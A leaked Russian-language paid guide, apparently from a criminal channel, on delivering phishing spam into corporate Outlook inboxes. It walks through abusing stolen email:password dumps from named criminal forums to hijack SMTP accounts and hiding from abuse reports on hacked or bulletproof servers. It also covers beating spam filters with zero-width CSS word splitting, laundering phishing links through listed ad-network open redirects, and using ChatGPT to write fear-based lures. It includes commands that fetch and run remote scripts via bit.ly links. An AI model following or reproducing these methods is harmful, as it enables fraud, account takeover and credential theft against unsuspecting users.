December 9

Спам. Аутлук №1. Платный слив.

Оглавление

  • Подготовка базы лидов
  • Сбор и фильтрация smtp-серверов
  • Составление текста письма
  • Обфускация письма
  • Изображения в письме
  • Создание трастовых редиректов
  • Обфускация редиректов
  • Защита лендинга от красного экрана Google SafeBrowsing
  • Выбор и подготовка аттача
  • Трекинг просмотров писем получателями
  • Запрет на форвардинг письма
  • Защита ссылки в письме от автоматического анализа
  • Проверка на инбокс
  • Разница между мейлерами на сетевом уровне и какой из них выбрать
  • Запуск кампании (ух-ты, это был долгий путь)
  • Бонус: где брать относительно свежие базы лидов для рассылки

Корпы. Они же Outlook. Письма быстро горят?Подготовим базы лидов правильно

Статистически, больше 60% корпов хостятся на outlook. Остальные - у av-компаний, и на своих серверах типа zimbra и проч. По-этому перед отправкой нам нужно отфильтровать нашу базу именно на аутлуки. Чтобы проверить, кто управляет почтой того или иного домена, достаточно взглянуть на mx-записи его dns-сервера. Чтобы проверять домены штучно, можно воспользоваться, например, расширением для хрома https://chrome.google.com/webstore/detail/ip-address-and-domain-inf/ (вкладка Domain)

В случае feedly.com мы видим, что их почта управляется google.com

Для быстрой проверки и отсева опасных почт я написал санитайзер, который отфильтровывает опасные почты, управляемые av-компаниями (например perimeterwatch, proofpoint, fireeye и т.д.), или, в нашем случае, оставляет только почты, размещенные у конкретных компаний.

Validol: https://github.com/aels/mailtools/tree/main/remove-dangerous-emails

Этот валидатор предназначен для запуска на MacOS или Linux, поэтому для windows-пользователей я рекомендую взять linux-vps (купить взломанный, чтобы избежать жалоб можно например на xleet.pw), или использовать одноразовые сервера от THC, или использовать WSL (windows subsystem for linux - это ubuntu, встроенная в windows). Вот инструкция, как включить WSL на вашей машине: https://devblogs.microsoft.com/commandline/install-wsl-with-a-single-command-now-available-in-windows-10-version-2004-and-higher/

Для работы санитайзера нам понадобится python3 (а все остальное он установит сам при первом запуске). Установить питон можно этой командой:

# this command for MacOS
brew install python3

# this command for Ubuntu users
apt install python3

Скачивать отдельно сам валидатор не нужно, т.к. он качается с гитхаба каждый раз в момент запуска. Запустим его вот с такими параметрами:

python3 <(curl -fskSL bit.ly/getsafemails) /path/to/mail_list.txt outlook

(*) лист с почтами может быть в любом формате, и помимо почт содержать любые данные (они останутся нетронутыми).

На выходе мы получим базу, содержащую только outlook-почты. С ней мы будем работать в дальнейшем.

Если вы не уверены в качестве своей базы, то чтобы не убивать smtp-сервера bounce-имейлами, так же базу нужно отфильтровать на несуществующие почты. Сделать это можно платно (после фильтрации через Validol, уже кратно дешевле) на сервисе https://debounce.io/.

Теперь нам нужны чистые smtp-сервера. В аутлук невозможно засунуть письма, отправленные с доменов, у которых не настроены записи dmark и spf. По-этому рассылка с шеллов, или с подменой домена отправителя нам не подходит.

Используя взломанные smtp-сервера мы избавляем себя от необходимости прогрева доменов и ip-адресов, которая встанет перед нами в случае использования собственных серверов (домены smtp-серверов уже теплые). Вебмейлинг же проигрывает smtp-серверам и по скорости (в десяток раз), и по стоимости (т.к. лимиты у бигов от 50 до 500 писем на аккаунт), и по удобству (делать свою webmail-ферму - плохое развлечение).

С чего же слать? SMTP-сервера

После десятков миллионов отправленных писем мне не удалось вывести закономерности или найти конкретные smtp-сервера, которые бы гарантированно доставляли хотя бы простой текст в inbox (это касается и доменов самого outlook, и ionos, и amazon-ses, и всех прочих). По-этому мы будем брать smtp-сервера откуда придется, и просто отправлять с них тестовое письмо в ящик outlook. Затем мы соберем те письма, которые попали в инбокс, и строками этих smtp-серверов будем пользоваться для дальнейших рассылок.

Где взять SMTP-сервера? Добудем их сами

Мы можем сделать это бесплатно. Для этого нам нужен любой smtp-чекер (которых достаточно валяется в интернете). Я не стал доверять другим кодерам, и написал свой smtp-чекер:

https://github.com/aels/mailtools/tree/main/smtp-checker

(*) он так же предназначен для запуска на MacOS или Linux.

Перед его запуском убедитесь, что ip-адрес машины, с которой вы его будете использовать, не находится в black-листе у SpamHaus, иначе многие smtp-сервера будут отказывать нам в авторизации. Сделать это можно например на сайте https://check.spamhaus.org/. В моем случае, например, мой домашний адрес находится в черном списке:

вот же п*дор...

Как правило все адреса, принадлежащие ISP (домашним интернет-провайдерам) находятся в блеке у SpamHaus, т.к. не предназначены для отправки почты с них напрямую. По-этому в данном случае нам все же придется воспользоваться VPS-сервером.

Где взять стойкий к абузам сервер за разумные деньги?

Если же вам все таки нужен действительно bullet-proof-сервер, то имейте ввиду, что как правило диапозоны ip таких серверов сильно испачканы, и при рассылке с них инбокс упадет минимум вдвое.

Самые стойкие к любой грязи сервера - это выходные ноды tor-сети.

Отправляемся к их списку: https://metrics.torproject.org/rs.html#toprelays,

И выбираем подходящую страну (я рекомендую Румынию, т.к. эта страна не сотрудничает с ФБР, и все же находится в Европе). Например возьмем ноду с ip-адресом 185.165.171.84. Затем идем на abuseipdb.com, чтобы узнать какому хостеру принадлежит этот ip-адрес.

Знакомые flokinet, которые принимают оплату в btc. Отлично. У них и купим vps-ку. После покупки обязательно проверим ее ip-адрес на чистоту в SpamHaus (т.к кто-то до нас мог уже запачкать этот ip-адрес). Чистый ip для нас важен еще и потому, что почти все smtp-сервера вместе с заголовками передают его в письме, и на его чистоту обращает внимание outlook. Подсеть Floki запачкана до нельзя, и это безусловно добавит штрафных баллов письму, но мы можем это стерпеть, если проделаем все остальные шаги правильно. Это цена отсутствия жалоб на сервер.

Кроме smtp-чекера нам так же понадобятся совершенно любые (любой свежести) листы, содержащие почты и пароли. Взять их из публичных раздач можно например на этих форумах:

https://nohide.space/

https://forum.exploit.in/

https://xss.is/

Покупать базы mail:pass (по-крайней мере для начала) я не рекомендую, т.к. все они как правило прошли через десяток рук, и инбокс у них будет не лучше, чем у баз с публичных раздач.

Мой чекер автоматически определит поля, содержащие почты и пароли, по-этому нам подходит совершенно любой формат листов, будь то csv с любыми полями (включая mail и password) или sql-дампы баз.

Так же нам необходим тестовый ящик в самом outlook. В случае с outlook инбокс различается для почт, созданных в разных регионах. Если мы хотим делать рассылку по Америке, то мы будем регистрировать ящик с американского ip-адреса (если под рукой нет us-сокса, то можно использовать любое vpn-расширение для хрома, например ZenMate). Для примера, пусть наш ящик будет [email protected].

Не все smtp-сервера одинаковы. Помимо чистоты их ip-адреса и подсети в целом, они отличаются способом взаимодействия с почтовыми серверами адресатов (в нашем случае это Microsoft).

Их основные различия:

  • MTU пакетов, который различается в зависимости от операционной системы, на которой запущен smtp-сервер
  • поддержкой keep-alive соединений
  • поддержкой типа передачи данных chunking и именами чанков
  • поддержкой pipelining-передачи
  • поддержкой передачи данных в бинарном виде
  • и, вероятно, некоторыми другими параметрами, о которых я не знаю

По-этому не все тестовые письма, отправленные с различных smtp-серверов, попадут к нам в inbox тестового ящика.

Запустим наш чекер со следующими параметрами (его так же не нужно предварительно скачивать):

python3 <(curl -slkSL bit.ly/madcatsmtp) /path/to/mail_pass_list.txt [email protected]
процесс чека идет

Валидные smtp-доступы будут сложены в ту же папку, где лежит и исходный файл, с иминем mail_pass_list_smtp.txt.

Но не все из полученных нами доступов смогут отправить письмо, или доставить его в inbox. По-этому после окончания работы чекера мы отправимся в наш тестовый ящик и возьмем оттуда все smtp-доступы, которые попали в папку inbox. В зависимости от возраста и задроченности базы их может быть и 0.1%, и 90% (в случае покупки полностью валидной базы mail:pass) от общего числа. Лимиты на отправку писем у пользовательских smtp как правило малы (от 50 писем в случае gmail, до десятков тысяч в случае с корпоративными outlook или ionos аккаунтами), по-этому чем больше у нас smtp-доступов, тем лучше. В среднем 100 доступов достаточно, чтобы разослать 30-50 тысяч писем.

Соберем их в отдельный файл (для примера пусть это будет файл smtp_list.txt).

Когда мы делаем рассылку, письма через какое-то время будут помечены как спам, и в этом случае smtp, с которого мы отправили письма, будет помечен как грязный. Затем если с него отправить "чистые" письма, то они будут помечены как спам буквально в течение часа. Затем все чистые smtp-сервера, с которых было отправлено грязное письмо так же будут помечены как грязные. В outlook это не приговор, такие рассылки лишь поднимают "балл недоверия" smtp-серверам, и этот балл обнуляется со временем (от суток до недели). По-этому важно перепроверять smtp-сервера на inbox перед каждой рассылкой.

Так же как и у mail.ru, в outlook письма из папки inbox раз в 30 минут перепроверяются на спам еще раз и утекают в папку "спам" через несколько часов, когда достаточно пользователей нажмет над нашим письмом "это спам". Максимальное число писем стечет в папку спам через 5-6 часов. Чтобы этого избежать нужно класть максимальный процент писем в inbox изначально и максимально рандомизировать текст письма.

Не смотря на то, что почти все антиспам-системы в давние времена начинали свою разработку со SpamAssasin-а, теперь это сложные монстры. По работе антиспама в outlook почти нет публичной информации, однако есть несколько статей на тему работы антиспама в google. Эту историю борьбы со спамом от инженера Google я рекомендую для общего развития: https://moderncrypto.org/mail-archive/messaging/2014/000780.html?hn

Отвлеклись... Что ж... Теперь нам понадобится письмо.

Разводка не конвертит? Напишем отличное письмо

В случае работы с корпоративными пользователями наша цель не продать что-то, а заставить пользователя выполнить действие, по-этому классический прием "найдите боль и предложите избавление" не работает. Зато отлично работает страх. У напуганного пользователя отключается критическое мышление и он попадется на нашу удочку намного легче.

Больше всего человек боится потерять что-то важное: аккаунт, работу, шанс.

Мы не можем обфусцировать заголовок письма и его придется написать максимально нейтральным, чтобы не попасть под спам-фильтр. Например "System notification" или "Invoice status #347334". А в теле письма в общем случае мы можем писать что угодно, потому что потом спрячем от антиспам-фильтра outlook все "тревожные" слова.

Для общего понимания, какие письма дают хороший CTR, вот пример письма, которое я использовал в работе неделю:

В этом письме к получателю обращаются вежливо, аргументированно и настойчиво - с позиции начальника. И это работает.

Я не рекомендую пользоваться шаблонами фишинговых писем, найденных в интернете (только если вы точно знаете, что делаете), т.к. помимо необходимости знания html и css, все они давно детектируются spam-фильтрами, и переписывать их и обфусцировать у вас займет очень много сил и времени.

Чтобы хорошо писать фальшивые письма нам нужно знать поведенческую психологию. Для общего развития я очень рекомендую следующие книги:

  • Эрик Берн "Игры, в которые играют люди"
  • Роберт Чалдини "Психология влияния"

Но... на самом деле теперь нам все это не нужно. На сцену выходит ИИ. После десятков писем, заказанных у разных копирайтеров, ChatGPT стала настоящим гемом, т.к. на удивление, написанные ей письма рвут по эффективности любого копирайтера. Именно по-этому мы обратимся к ней, а не к живому человеку:

https://chat.openai.com/chat

ChatGPT доступна не для всех регионов, и если вы не можете зарегистрироваться, то используйте европейский или американский ip-адрес, и принимайте смс на физический номер соответствующей страны. E-sim нужной страны можно купить за ~20$ на сайте prepaid-global.com.

Отличительная особенность этого ИИ - его доброта, вежливость и понимание сути проблемы. По-этому в руках мошенника chatGPT превращается в совершенное зло. Просто посмотрите как легко она разводит пользователя на верификацию:

Это восхитительно красиво и ужасно.

Теперь все же напишем письмо для себя:

Теперь попросим ChatGPT рандомизировать текст письма для нас:

Да - вот так легко и просто мы получаем эффективное письмо. Сохраним полученный текст в файл lure.html

Двигаемся дальше

Spintax-рандомизации по-прежнему недостаточно для того, чтобы наше письмо не детектировалось спам-фильтрами. Оно по-прежнему содержит тревожные слова, направленные на привлечение внимания пользователя. Это слова, например: invoice, important, urgent, buy и многие другие. Неполный список таких слов мы возьмем из статьи https://blog.hubspot.com/blog/tabid/6307/bid/30684/the-ultimate-list-of-email-spam-trigger-words.aspx. В этот же список входят имена брендов, например "Paypal", "USPS", "Amazon" и др. Им не место в письмах, отправленных не с их родных доменов. Перечитаем наше письмо еще раз найдем слова, которые цепляют наше внимание и поднимают тревогу.

Не пытайтесь скрыть их через замену букв на визуально похожие (например латинскую "а" на киррилическую). Все известные мне спам-фильтры автоматически определяют язык, на котором написано письмо, и если оно содержит символы разных локалей в одном слове, то балл недоверия к нему резко поднимается. В случае, например, со SpamAssasin, можно прочесть об этом по ссылке:

https://spamassassin.apache.org/full/3.1.x/doc/Mail_SpamAssassin_Conf.html

в разделе "Language Options". И протолкнуть такое письмо в инбокс будет сильно сложнее (но не невозможно). С "тревожными" словами мы будем расправляться через "zero-font".

Письмо все еще ложится в спам? Обфусцируем его через Zero-Font

Слово "zero-font" означает шрифт нулевого размера. На самом деле это не совсем так. Есть несколько способов скрыть слова на странице от глаза пользователя через css, например:

  • использовать нулевой размер шрифта
  • использовать цвет текста такой же как и у фона
  • использовать нулевую длину блока с текстом
  • использовать свойство opacity (прозрачность)
  • использовать свойство display:none;

И несколько других свойств, которые позволят убрать с глаз долой не нужные части письма. Проблема с такими методами в том, что почти все они детектируются антиспам-фильтрами и лишь вредят. Свойство, которое на данный момент не детектируется и не вызывает проблем у outlook, это width.

Чтобы избавиться от "тревожных" слов в письме, скрывать их бессмысленно, но вот разбить их на несколько частей невидимыми блоками с другим текстом - без проблем. В SpamAssasin (и, вероятно, во многих других антиспам-фильтрах) для составления детектов используются "триграмы" - это три буквы, идущие друг за другом. То есть в слове Viagra четыре триграма: via,iag,agr,gra. И по наличию этих четырех триграмов в теле письма ему будет дан вердикт "спам". В outlook пошли немного дальше, и чистота письма считается не только по наличию определенных триграмов, но и по расстоянию между ними (концентрации bullshit). По-этому тревожные слова мы будем разбивать другими фразами длиной 3 и более слов.

Сначала добавим к письму блок css-свойств, чтобы обеспечить нашему волшебному блоку нулевую длину. Изначально текстовые строки имеют тип

inlineи их собственная длина игнорируется браузером. Однако, если сменить их тип на inline-block, то браузер начинает уважать их аттрибут width.

Добавим к письму следующий html-код:

<style type="text/css">u { display: inline-block; width: 0; overflow: hidden; white-space: nowrap; }</style>

В нем тегу uмы задаем строчно-блочный тип, нулевую длину, команду скрывать переполнение его текстом, и запрещаем перенос строк, чтобы он не вырос в высоту. Затем вычитываем наше письмо, и каждое слово, которое нам не нравится разбиваем тегом u, содержищим какую-то фразу. Например:

But it's not about being another "ho<u>seems not yet </u>rny bb slut",

B vio-la, мы избавились от слова horny. И наше письмо начинает выглядеть как-то вот так:

Теперь перед нами встает вопрос, как получить от получателя желаемое: или клик по ссылке, или запуск аттача.

Письмо выглядит скучно? Как добавлять изображения правильно

Прежде всего хочу сказать, что голый текст в письме вызывает больше доверия и часто дает больше конверсий, чем пестрое письмо, напичканное изображениями, т.к. пользователи устали от ярких маркетинговых писем.

Outlook может анализировать только те изображения, которые включены в письмо через img-тег и закодированы внутри src-аттрибута с помощью data-url. Так же такой способ включения изображений в письмо увеличивает его вес. Это не несет никакой пользы, т.к. изображения, закодированные через data-url все равно не отображаются, если письмо попало в папку spam. По-этому мы будем включать в код письма только изображения, размещенные у нас на серверах. Домен, откуда включено изображение так же должен иметь хороший traffic-rank (об этом мы поговорим в следующей главе).

Картинки удобно размещать на content-серверах github или даже telegraph. Но пожалуйста не размещайте их в discord, т.к. его домены сильно испачканы начинающими распространителями вирусов.

Десять лет назад был популярен спам с одним большим рисунком, на котором размещался весь текст. Т.к. outlook не может анализировать изображения, подгружаемые из вне, то к таким письмам сформировалось недоверие со стороны его антиспам-системы. С другой стороны, изображения используются повсеместно в маркетинговых письмах.

Безопасная концентрация изображений для outlook, вымеренная экспериментально - одно изображение на 30 строк кода и текста.

В SpamAssasin используются другие пропорции. Прочесть об этом для общего образования можно по этим ссылкам:

https://svn.apache.org/repos/asf/spamassassin/trunk/rules/20_html_tests.cf

https://www.quora.com/How-does-Spam-Assassin-calculate-image-to-text-ratios

Изображения часто включаются с указанием их размеров в теле img-тега:

<img src="https://path-to-img" width="100" height="50"/>

По этим параметрам outlook может вычислить размер изображения. Однако, если их не указывать, то браузер отобразит изображение в его натуральном размере.

<img src="https://path-to-img"/>

Такой подход нам тоже не подходит, т.к. антиспам outlook не доверяет таким изображениям. Однако мы можем указать ширину в процентах от ширины родительского блока:

<img src="https://path-to-img" width="100%"/>

В этом случае изображение займет всю ширину родительского блока, а высота будет автоматически посчитана браузером, чтобы изображение сохранило свои пропорции.

И такой подход нам не подходит в чистом виде. Т.к. если изображение включено таким образом сразу в тело письма, то outlook понимает, что оно займет всю ширину экрана. Однако, если мы поместим изображение, например, в ячейку таблицы, или внутрь нескольких элементов div, то такое изображение без проблем будет принято и пропущено антиспам-фильтром:

<table>
  <tbody>
   <tr>
    <td><b>text with zero-font</b></td>
    <td width="100%"><img src="https://path/to/image" width="100%"/></td>
    <td><b>text with zero-font</b></td>
   </tr>
 </tbody>
</table>

В этом случае антиспам не сможет вычислить размер изображения и пропустит его.

Если мы хотим добавить анимацию в письмо, то не будем использовать gif-изображения, т.к. они имеют сильно ограниченную палитру цветов и большой размер. Уже несколько лет все браузеры поддерживают более подходящий для нас формат - "анимированные png-файлы", имеющие расширение .apng. Они имеют отличную степень сжатия и почти неограниченную палитру цветов. Так же браузеры поддерживают стриминг таких изображений и начнут их отображение в браузере не дожидаясь полной их загрузки. Таким способом мы можем даже иммитировать видео без звука. Снабдить видео субтитрами можно на многочисленных сервисах, например здесь: clideo.com/add-subtitles-to-video, а сконвертировать видео в формат .apng можно здесь: ezgif.com/video-to-apng.

Отлично. С изображениями разобрались, переходим к ссылкам.

Ссылка не ложится в inbox? Создадим чистые и трастовые редиректы

Антиспам-фильтры не имеют права проверять содержимое ссылок, т.к. иначе они бы регулярно наступали на важные ссылки подтверждений активации, верификации, удаления аккаунта и тому подобные. Однако, outlook как минимум проверяет следующие параметры у каждой ссылки:

  • сигнатурный детект известных плохих строк
  • трафик-ранк домена
  • возраст домена
  • популярность домена внутри самого outlook
  • ip-адрес, на который ссылается домен, и репутацию этого ip-адреса (в том числе, сколько еще доменов расположено на этом ip-адресе)
  • рейтинг подсети ip-адреса, в зависимости от его популярности и количества грязных ip-адресов и доменов в ней.

По этой причине мы не можем использовать редиректы, размещенные на шеллах, или любых других взломанных сайтах, cPanels и т.д. Потому что шеллы как правило добываются через публичные уязвимости и запачканы многими спамерами уже задолго до нас. Так же домены шеллов имеют как правило около-нулевой traffic-rank, и расположены на shared-хостингах вместе с сотнями других. Использование CloudFlare частично решает эту проблему, но мы выберем другой путь.

Для отличного инбокса нам нужны ссылки на доменах, собирающих большой объем трафика, зарегистрированных давно, часто используемых, и ссылающиеся на ip-адреса, на которых не замечено вредоносной активности.

Идеально для этого подходят click-tracker-ы популярных банерных серверов, т.к. каждый из них - это открытый редиректор. Найти их можно через расширение для хрома Redirect-path, покликав по банерам на разных сайтах (не забудьте перед этим выключить ad-blocker).

Вот несколько примеров редиректов, которые я нашел за 15 минут:

https://track.adform.net/adfserve/?bn=12345;redirurl={{url}}
https://secure.adnxs.com/seg?redir={{url}}
https://p.rfihub.com/cm?forward={{url}}
https://tags.bluekai.com/site/35702?redir={{url}}
https://ssum.casalemedia.com/usermatchredir?s=183875&cb={{url}}
https://sync.mathtag.com/sync/img?cs_wd_sy=1&dp=43&redir={{url}}

Каждого такого редиректа нам хватаит на рассылку ~50 тысяч писем без рандомизации остальной части ссылки и без добавления мусорных параметров. Затем дадим им неделю отдыха, и они снова начнут ложиться в инбокс. Результат - супер.

Однако что, если нам нужно очень много трастовых редиректов? Для этого нам нужно посетить очень много сайтов через банеры. Fuck it. За нас уже собрали миллионы ссылок (и нам не нужно за это платить).

Парни из UrlTeam собрали все адреса, куда ведут популярные шортнеры ссылок. И среди них есть много-много открытых редиректов. Вот полный архив их работы по датам:

https://archive.org/details/UrlteamWebCrawls

Отсюда мы возьмем для примера архив ссылок, куда ведет давно закрытый шортнер goo.gl (или любой другой):

https://archive.org/details/urlteam_2023-01-14-00-17-02

И соберем сотни трастовых редиректов эксклюзивно для себя. Для этого...

Схема была взята с открытых источников! Наш канал не является призывающим кого-либо к каким-либо действиям. Все посты выпускаются категорически для ознакомительных целей.